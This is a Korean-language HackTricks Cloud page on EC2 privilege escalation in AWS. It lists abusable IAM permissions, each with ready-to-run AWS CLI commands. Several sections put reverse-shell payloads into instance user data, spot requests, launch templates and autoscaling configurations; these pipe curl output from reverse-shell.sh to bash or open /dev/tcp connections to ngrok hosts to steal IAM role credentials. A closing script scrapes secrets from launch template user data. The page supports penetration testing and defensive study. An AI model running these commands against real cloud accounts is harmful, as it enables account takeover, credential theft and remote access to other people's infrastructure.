AWS - EC2 Privesc
Reading time: 10 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
EC2
EC2에 대한 정보는 다음을 확인하세요:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
iam:PassRole
, ec2:RunInstances
공격자는 IAM 역할을 연결하여 인스턴스를 생성한 다음 인스턴스에 접근하여 메타데이터 엔드포인트에서 IAM 역할 자격 증명을 훔칠 수 있습니다.
- SSH를 통한 접근
생성된 ssh 키(--key-name
)를 사용하여 새 인스턴스를 실행한 다음 ssh로 접속합니다(새 키를 생성하려면 ec2:CreateKeyPair
권한이 필요할 수 있습니다).
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
- 사용자 데이터에서 rev shell을 통한 접근
사용자 데이터(--user-data
)를 사용하여 rev shell을 보내는 새 인스턴스를 실행할 수 있습니다. 이 방법으로 보안 그룹을 지정할 필요가 없습니다.
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
GuradDuty를 사용할 때 인스턴스 외부에서 IAM 역할의 자격 증명을 사용할 경우 주의하세요:
잠재적 영향: 기존 인스턴스 프로필에 연결된 모든 EC2 역할로의 직접적인 권한 상승.
ECS로의 권한 상승
이 권한 세트를 사용하면 EC2 인스턴스를 생성하고 이를 ECS 클러스터에 등록할 수 있습니다. 이렇게 하면 ECS 서비스가 EC2 인스턴스 내에서 실행되고, 그 서비스를 침투하여 (도커 컨테이너) 연결된 ECS 역할을 훔칠 수 있습니다.
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"
# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
ECS 서비스를 이 새로운 EC2 인스턴스에서 강제로 실행하는 방법을 배우려면 다음을 확인하세요:
새 인스턴스를 생성할 수 없지만 ecs:RegisterContainerInstance
권한이 있는 경우, 클러스터 내에서 인스턴스를 등록하고 주석 처리된 공격을 수행할 수 있습니다.
잠재적 영향: 작업에 연결된 ECS 역할에 대한 직접적인 권한 상승.
iam:PassRole
, iam:AddRoleToInstanceProfile
이전 시나리오와 유사하게, 이러한 권한을 가진 공격자는 손상된 인스턴스의 IAM 역할을 변경하여 새로운 자격 증명을 탈취할 수 있습니다.
인스턴스 프로필은 1개의 역할만 가질 수 있으므로, 인스턴스 프로필이 이미 역할을 가지고 있는 경우(일반적인 경우) **iam:RemoveRoleFromInstanceProfile
**도 필요합니다.
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
만약 인스턴스 프로필에 역할이 있고 공격자가 제거할 수 없다면, 다른 우회 방법이 있다. 그는 역할이 없는 인스턴스 프로필을 찾거나 새로운 인스턴스 프로필을 생성할 수 있다 (iam:CreateInstanceProfile
), 그 역할을 해당 인스턴스 프로필에 추가하고 (앞서 논의한 대로), 손상된 인스턴스에 손상된 인스턴스 프로필을 연결할 수 있다:
- 만약 인스턴스에 인스턴스 프로필이 없다면 (
ec2:AssociateIamInstanceProfile
)
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
잠재적 영향: 다른 EC2 역할로의 직접적인 권한 상승(당신은 AWS EC2 인스턴스를 손상시키고 추가 권한이나 특정 인스턴스 프로필 상태를 가져야 합니다).
iam:PassRole
(( ec2:AssociateIamInstanceProfile
& ec2:DisassociateIamInstanceProfile
) || ec2:ReplaceIamInstanceProfileAssociation
)
이 권한을 사용하면 인스턴스에 연결된 인스턴스 프로필을 변경할 수 있으므로, 공격자가 이미 인스턴스에 접근할 수 있다면, 연결된 인스턴스 프로필을 변경하여 더 많은 인스턴스 프로필 역할에 대한 자격 증명을 훔칠 수 있습니다.
- 인스턴스 프로필이 있다면, 인스턴스 프로필을 제거할 수 있습니다 (
ec2:DisassociateIamInstanceProfile
) 그리고 연결할 수 있습니다.
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
- 또는 손상된 인스턴스의 인스턴스 프로필을 교체합니다 (
ec2:ReplaceIamInstanceProfileAssociation
).
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
잠재적 영향: 다른 EC2 역할로의 직접적인 권한 상승(당신은 AWS EC2 인스턴스를 손상시키고 추가 권한이나 특정 인스턴스 프로필 상태를 가져야 합니다).
ec2:RequestSpotInstances
,iam:PassRole
ec2:RequestSpotInstances
와 iam:PassRole
권한을 가진 공격자는 EC2 역할이 연결된 스팟 인스턴스를 요청하고 사용자 데이터에 rev shell을 포함할 수 있습니다.
인스턴스가 실행되면, 그는 IAM 역할을 훔칠 수 있습니다.
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
ec2:ModifyInstanceAttribute
ec2:ModifyInstanceAttribute
권한을 가진 공격자는 인스턴스 속성을 수정할 수 있습니다. 이 중에서 그는 사용자 데이터를 변경할 수 있으며, 이는 인스턴스가 임의의 데이터를 실행하도록 만들 수 있음을 의미합니다. 이는 EC2 인스턴스에 대한 rev shell을 얻는 데 사용될 수 있습니다.
속성은 인스턴스가 중지되어 있는 동안에만 수정할 수 있으므로, 권한 ec2:StopInstances
및 **ec2:StartInstances
**가 필요합니다.
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"
printf $TEXT | base64 > "$TEXT_PATH"
aws ec2 stop-instances --instance-ids $INSTANCE_ID
aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH
aws ec2 start-instances --instance-ids $INSTANCE_ID
잠재적 영향: 생성된 인스턴스에 연결된 모든 EC2 IAM 역할로 직접 권한 상승.
ec2:CreateLaunchTemplateVersion
,ec2:CreateLaunchTemplate
,ec2:ModifyLaunchTemplate
ec2:CreateLaunchTemplateVersion
,ec2:CreateLaunchTemplate
및 ec2:ModifyLaunchTemplate
권한을 가진 공격자는 사용자 데이터에 rev shell이 포함된 새 Launch Template 버전을 생성하고, 기본 버전을 변경하며, 최신 또는 기본 버전을 사용하도록 구성된 모든 Autoscaler 그룹이 해당 템플릿을 사용하여 인스턴스를 다시 실행하고 rev shell을 실행하게 됩니다.
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
잠재적 영향: 다른 EC2 역할로의 직접적인 권한 상승.
autoscaling:CreateLaunchConfiguration
, autoscaling:CreateAutoScalingGroup
, iam:PassRole
autoscaling:CreateLaunchConfiguration
, autoscaling:CreateAutoScalingGroup
, iam:PassRole
권한을 가진 공격자는 IAM 역할과 rev shell을 포함한 Launch Configuration을 생성할 수 있으며, 그 구성에서 autoscaling group을 생성하고 rev shell이 IAM 역할을 탈취할 때까지 기다릴 수 있습니다.
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
잠재적 영향: 다른 EC2 역할로의 직접적인 권한 상승.
!autoscaling
권한 집합 ec2:CreateLaunchTemplate
및 autoscaling:CreateAutoScalingGroup
는 IAM 역할로 권한을 상승시키기에 충분하지 않습니다. Launch Configuration 또는 Launch Template에 지정된 역할을 연결하려면 iam:PassRole
및 ec2:RunInstances
권한이 필요합니다 (이는 알려진 권한 상승입니다).
ec2-instance-connect:SendSSHPublicKey
ec2-instance-connect:SendSSHPublicKey
권한을 가진 공격자는 사용자에게 ssh 키를 추가하고 이를 사용하여 접근할 수 있습니다 (인스턴스에 ssh 접근 권한이 있는 경우) 또는 권한을 상승시킬 수 있습니다.
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
잠재적 영향: 실행 중인 인스턴스에 연결된 EC2 IAM 역할로의 직접적인 권한 상승.
ec2-instance-connect:SendSerialConsoleSSHPublicKey
ec2-instance-connect:SendSerialConsoleSSHPublicKey
권한이 있는 공격자는 직렬 연결에 ssh 키를 추가할 수 있습니다. 직렬 연결이 활성화되지 않은 경우, 공격자는 ec2:EnableSerialConsoleAccess
권한이 필요합니다.
직렬 포트에 연결하기 위해서는 기계 내부의 사용자 이름과 비밀번호를 알아야 합니다.
aws ec2 enable-serial-console-access
aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
이 방법은 이를 악용하기 위해 사용자 이름과 비밀번호를 알아야 하므로 권한 상승에 그다지 유용하지 않습니다.
잠재적 영향: (매우 입증하기 어려움) 실행 중인 인스턴스에 연결된 EC2 IAM 역할로의 직접적인 권한 상승.
describe-launch-templates
,describe-launch-template-versions
런치 템플릿은 버전 관리가 있으므로, ec2:describe-launch-templates
및 ec2:describe-launch-template-versions
권한을 가진 공격자는 이를 악용하여 사용자 데이터에 존재하는 자격 증명과 같은 민감한 정보를 발견할 수 있습니다. 이를 달성하기 위해, 다음 스크립트는 사용 가능한 런치 템플릿의 모든 버전을 반복합니다:
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done
위의 명령어에서 특정 패턴(aws_|password|token|api
)을 지정하고 있지만, 다른 유형의 민감한 정보를 검색하기 위해 다른 정규 표현식을 사용할 수 있습니다.
aws_access_key_id
와 aws_secret_access_key
를 찾으면, 이 자격 증명을 사용하여 AWS에 인증할 수 있습니다.
잠재적 영향: IAM 사용자에게 직접적인 권한 상승.
References
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.